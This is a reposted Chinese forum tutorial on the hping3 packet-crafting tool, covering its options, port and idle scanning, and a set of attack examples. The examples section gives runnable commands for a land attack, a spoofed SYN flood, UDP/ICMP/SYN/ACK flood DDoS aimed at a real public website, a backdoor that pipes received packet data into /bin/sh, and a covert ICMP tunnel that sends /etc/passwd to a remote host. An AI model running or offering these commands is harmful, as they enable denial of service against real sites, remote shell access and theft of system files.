返回首页DA系统C#IDE文件同步服务屏保 今天是: 2026-05-05    "立夏"  夏季的第一个节气,表示盛夏时节的正式开始

搜索
热搜: linux 技术
Hi~登录注册
查看: 1801|回复: 0

[转载] 【转载】Linux网络命令之 `Hping3`

[复制链接]
发表于 2022-6-14 10:01:53 | 显示全部楼层 |阅读模式

少侠不来段修仙之旅吗~

您需要 登录 才可以下载或查看,没有帐号?注册成为修仙之旅的少年~

x
Linux网络命令之 `Hping3`


1 Hping简介
Hping 是面向命令行的,用于生成和解析 TCP/IP 协议数据包汇编/分析的开源工具。作者是 Salvatore Sanfilippo,界面灵感来自 ping(8)unix 命令。
目前最新版是 Hping,它支持 TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用 tcl 脚本自动化地调用其 API。hping 是安全审计、防火墙测试等工作的标配工具。Hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
工具来源:http://www.hping.org/



2 Hping的功能
虽然 Hping 以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,您可以使用 Hping 的一小部分内容:
  • 防火墙测试
  • 高级端口扫描
  • 网络测试,使用不同的协议,TOS,分片
  • 手动路径 MTU 发现
  • 在所有支持的协议下,高级 traceroute
  • 远程操作系统指纹
  • 远程正常运行时间猜测
  • TCP/IP 协议栈审计
  • Hping 也可以用于学习 TCP/IP 的学生



3 Hping3用法说明


hping3 host [options]

  -h  --help                显示帮助
  -v  --version             显示版本
  -c  --count               发送数据包的数目
  -i  --interval            发送数据包间隔的时间 (uX即X微秒, 例如: -i u1000)
      --fast                等同 -i u10000 (每秒10个包)
      --faster              等同 -i u1000 (每秒100个包)
      --flood               尽最快发送数据包,不显示回复
  -n  --numeric             数字化输出,象征性输出主机地址
  -q  --quiet               安静模式
  -I  --interface           网卡接口 (默认路由接口)
  -V  --verbose             详细模式
  -D  --debug               调试信息
  -z  --bind                绑定 ctrl+z 到 ttl (默认为目的端口)
  -Z  --unbind              取消绑定 ctrl+z 键
      --beep                对于接收到的每个匹配数据包蜂鸣声提示

模式选择  
  default mode              默认模式是TCP
  -0  --rawip               RAW IP模式,原始IP模式。在此模式下Hping3会发送带数据的IP头。即裸IP方式。使用RAWSOCKET方式
  -1  --icmp                ICMP模式,此模式下Hping3会发送IGMP应答报,你可以用 --icmptype,--icmpcode 选项发送其他类型/模式的ICMP报文
  -2  --udp                 UDP模式,默认Hping3会发送UDP报文到主机的0端口,你可以用 --baseport,--destport,--keep 选项指定端口
  -8  --scan                扫描模式,扫描指定的端口
                            Example: hping3 --scan 1-30,70-90 -S www.target.host
  -9  --listen              监听模式

IP 模式  
  -a  --spoof               源地址欺骗。伪造自身IP,对目的进行攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了
            --rand-dest           随机目的地址模式,详细使用 man 命令
      --rand-source         随机源地址模式,详细使用 man 命令
  -t  --ttl                 指定 ttl 值 (默认 64)
  -N  --id                  hping3 中的 ID 值,缺省为随机值
  -W  --winid               使用 win* id 字节顺序,针对不同的操作系统。UNIX,WINDIWS的id回应不同,这选项可以让你的ID回应和WINDOWS一样
  -r  --rel                 相对id字段(用于评估主机流量)  //更改ID的,可以让ID曾递减输出,详见HPING-HOWTO
  -f  --frag                将数据包拆分成更多的frag,可能通过弱访问控制列表(acl)        //分段,可以测试对方或者交换机碎片处理能力,缺省16字节
  -x  --morefrag            设置更多的分段标志    //大量碎片,泪滴攻击
  -y  --dontfrag            设置不分段标志    //发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY
  -g  --fragoff             set the fragment offset    //设置断偏移
  -m  --mtu                 设置虚拟最大传输单元,当大于MTU时分段;如果数据包大于MTU,等同于使用 --frag 选项
  -o  --tos                 tos字段,服务类型,缺省值为0x00,通过 hping3 --tos help 命令查看详细
  -G  --rroute                     记录IP路由,并显示路由缓冲
      --lsrr                松散源路由并记录路由 (loose source routing and record route)
      --ssrr                严格源路由并记录路由 (strict source routing and record route)
  -H  --ipproto             设置IP协议字段,仅在RAW IP模式下使用

ICMP 模式
  -C  --icmptype            icmp类型,默认回显(echo)请求
  -K  --icmpcode            icmp代号,默认0
      --force-icmp          发送所有icmp类型(默认仅发送支持的类型)
      --icmp-gw             设置ICMP重定向网关地址(默认0.0.0.0)
      --icmp-ts             等同 --icmp --icmptype 13 (ICMP 时间戳)
      --icmp-addr           等同 --icmp --icmptype 17 (ICMP 地址子网掩码)
      --icmp-help           显示其他icmp选项帮助

UDP/TCP 模式
  -s  --baseport            设置源端口,默认为随机源端口
  -p  --destport            设置目的端口,默认端口为0
  -k  --keep                保持源端口不变
  -w  --win                 win的滑动窗口。windows发送字节(默认64)
  -O  --tcpoff              set fake tcp data offset(instead of tcphdrlen / 4)    //设置伪造tcp数据偏移量(取代tcp地址长度/4)
  -Q  --seqnum              仅显示tcp序列号
  -b  --badcksum            (尝试)发送具有错误IP校验和的数据包,所以你会得到错误UDP/TCP校验和。但是许多系统会修复发送数据包的IP校验和
  -M  --setseq              设置TCP序列号
  -L  --setack              set TCP ack,不是 TCP 的 ACK 标志位
  -F  --fin                 set FIN flag  
  -S  --syn                 set SYN flag  
  -R  --rst                 set RST flag  
  -P  --push                set PUSH flag  
  -A  --ack                 set ACK flag,设置 TCP 的 ACK 标志位
  -U  --urg                 set URG flag      //一大堆IP报头的设置
  -X  --xmas                set X unused flag (0x40)
  -Y  --ymas                set Y unused flag (0x80)
      --tcpexitcode     使用last tcp->th_flags 作为退出码
      --tcp-mss         使用给定的值启用TCP MSS选项
      --tcp-timestamp   启用TCP时间戳选项来猜测HZ/uptime

通用设置  
  -d  --data                发送数据包的大小,默认为0
  -E  --file                发送指定文件内的数据
  -e  --sign                添加“签名”
  -j  --dump                转储为十六进制数据包
  -J  --print               转储为可打印字符
  -B  --safe                启用“安全”协议
  -u  --end                 告诉你什么时候--file达到EOF并防止倒回
  -T  --traceroute          traceroute模式(等同使用 --bind 且 --ttl 1)
      --tr-stop             在traceroute模式下,收到第一个非ICMP报文时退出
      --tr-keep-ttl         保持源TTL固定,仅用于监视一跳
      --tr-no-rtt           不要在traceroute模式下计算或显示RTT信息

ARS packet description (new, unstable)
      --apd-send            发送用APD描述的数据包(参见docs/APD.txt)



4 Hping3举例
4.1 防火墙测试
使用 Hping3 指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html

测试防火墙对 ICMP 包的反应、是否支持 traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击 (DoS attack)。

例如,以 LandAttack 方式测试目标防火墙 (Land Attack 是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接):


hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10


4.2 端口扫描
Hping3 也可以对目标端口进行扫描。Hping3 支持指定 TCP 各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

hping3 -I eth0 -S 192.168.10.1 -p 80


-I eth0:指定使用 eth0 端口
-S:指定 TCP 包的标志位 SYN
-p 80:指定探测的目的端口


Hping3 支持非常丰富的端口探测方式,Nmap 拥有的扫描方式 Hping3 几乎都支持 (除开 connect 方式,因为 Hping3 仅发送与接收包,不会维护连接,所以不支持 connect 方式探测)。而且 Hping3 能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3 的端口扫描性能及综合处理能力,无法与 Nmap 相比。一般使用它仅对少量主机的少量端口进行扫描。

4.3 Idle扫描
Idle 扫描 (Idle Scanning) 是一种匿名扫描远程主机的方式,该方式也是由 Hping3 的作者 Salvatore Sanfilippo 发明的,目前 Idle 扫描在 Nmap 中也有实现。

该扫描原理是:寻找一台 idle 主机 (该主机没有任何的网络流量,并且 IPID 是逐个增长的),攻击端主机先向 idle 主机发送探测包,从回复包中获取其 IPID。冒充 idle 主机的 IP 地址向远程主机的端口发送 SYN 包 (此处假设为 SYN 包),此时如果远程主机的目的端口开放,那么会回复 SYN/ACK,此时 idle 主机收到 SYN/ACK 后回复 RST 包。然后攻击端主机再向 idle 主机发送探测包,获取其 IPID。那么对比两次的 IPID 值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。


4.4 拒绝服务攻击
使用 Hping3 可以很方便构建拒绝服务攻击。比如对目标机发起大量 SYN 连接,伪造源地址为 192.168.10.99,并使用1000微秒的间隔发送各个 SYN 包:

hping3 -I eth0 -a 192.168.10.99 -S 192.168.10.33 -p 80 -i u1000


其他攻击如 smurf、teardrop、land attack 等也很容易构建出来。

4.5 DDOS攻击 (分布式拒绝服务攻击)
UDP ddos攻击:
hping3 -c 10000 -d 120 --udp -w 64 -p 80 --flood --rand-source www.baidu.com


ICMP ddos攻击:
hping3 -c 10000 -d 120 --icmp -w 64 -p 80 --flood --rand-source www.baidu.com


SYN ddos攻击:
hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source www.baidu.com


ACK ddos攻击:
hping3 -c 10000 -d 120 -A -w 64 -p 80 --flood --rand-source www.baidu.com



4.6 木马功能
如果 Hping3 能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开 shell 通信。与 netcat 的后门功能类似。

示例:本地打开53号 UDP 端口 (DNS解析服务) 监听来自 192.168.10.66 主机的包含签名为 signature 的数据包,并将收到的数据调用 /bin/sh 执行。

在木马启动端:


hping3 192.168.10.66 --listen signature --safe --udp -p 53 | /bin/sh


在远程控制端:

echo ls > test.cmd

hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd


将包含 ls 命令的文件加上签名 signature 发送到 192.168.10.44 主机的53号 UDP 端口,包数据长度为100字节。

当然这里只是简单的演示程序,真实的场景,控制端可以利用 shell 执行很多的高级复杂的操作。


4.7 文件传输
Hping3 支持通过 TCP/UDP/ICMP 等包来进行文件传输。相当于借助 TCP/UDP/ICMP 包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名 (签名为用户指定的字符串) 的内容进行相应的解析。

在接收端开启服务:


hping3 192.168.1.159 --listen signature --safe --icmp

监听 ICMP 包中的签名,根据签名解析出文件内容。

在发送端使用签名打包的 ICMP 包发送文件:


hping3 192.168.1.108 --icmp -d 100 --sign signature --file /etc/passwd

将 /etc/passwd 密码文件通过 ICMP 包传给 192.168.1.108 主机。发送包大小为100字节 (-d 100),发送签名为 signature (--sign signature)。


游客
回复
*滑块验证:

DA论坛飞机票来了~
快速回复 返回顶部 返回列表